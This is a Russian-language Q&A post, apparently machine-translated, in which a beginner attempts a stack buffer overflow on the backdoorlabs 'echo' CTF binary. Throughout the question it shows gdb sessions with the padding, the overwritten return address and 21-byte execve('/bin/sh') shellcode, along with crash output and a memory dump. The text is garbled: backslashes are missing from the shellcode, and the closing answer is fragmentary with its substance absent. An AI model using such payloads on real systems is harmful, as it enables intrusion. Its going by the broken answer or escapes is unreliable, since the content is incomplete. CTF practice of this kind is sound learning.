Я пытаюсь узнать, как работают переполнения буфера и как это можно использовать.
Я решаю простую задачу (backdoorlabs echo challenge), пытаясь использовать предоставленный двоичный файл.
(см.: http://hack.bckdr.in/ECHO/echo)
Я думаю, что я делаю все правильно (в соответствии с руководствами и учебниками, которые я читал), но все равно это не работает и сводит меня с ума уже несколько часов.
Bufferoverflow позволяет мне написать следующую инструкцию (eip).
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
Таким образом, я могу перезаписать следующий eip, теперь давайте добавим код оболочки 21 байт, который порождает оболочку, и попытаемся найти адрес, где он находится.
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"+"x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"+"x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒▒▒Qh//shh/bin▒▒
̀
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $sp
0xbffff750: 0xe1f7c931 0x2f2f6851 0x2f686873 0x896e6962
0xbffff760: 0xcd0bb0e3 0xbfff0080 0xbffff80c 0xb7fff3d0
0xbffff770: 0x08048480 0xffffffff 0x0012efc4 0x080482d8
0xbffff780: 0x00000001 0xbffff7c0 0x0011eb25 0x0012fab0
Bingo shellcode прямо здесь загружен на 0xbffff750, так что это адрес, который мы хотим адресовать eip..
До сих пор все выглядит правильно для меня, поэтому я пробую его с правильными значениями.
(gdb) run <<< $(python -c 'print "A"*62+"x50xf7xffxbf"+"x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80"')
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"x50xf7xffxbf"+"x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
̀
Program received signal SIGSEGV, Segmentation fault.
0xbffff750 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686
(gdb)
(gdb) x/i $eip
=> 0xbffff750: xor %ecx,%ecx
(gdb)
Eip был изменен на правильный адрес, и shellcode находится на месте, однако, когда я пытаюсь его в моей оболочке, он не работает и все еще segfaults, как вы можете видеть.
[rick@TESTBOX tmp]$ ./vul <<< $(python -c 'print "A"*62+"x50xf7xffxbf"+"x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
̀
Segmentation fault
[rick@TESTBOX tmp]$
У кого-то здесь есть какие-то мысли об этом, видит ошибку или есть какие-то другие идеи ?
Как уже упоминалось, я новичок, пытающийся понять основные принципы, и, очевидно, я делаю что-то не так.
Я думаю, что ваша проблема:
Вам нужно
ИЛИ
Этот вопрос может помочь вам в будущем, который говорит вам, как отключить некоторые функции безопасности, чтобы позволить вам атаковать.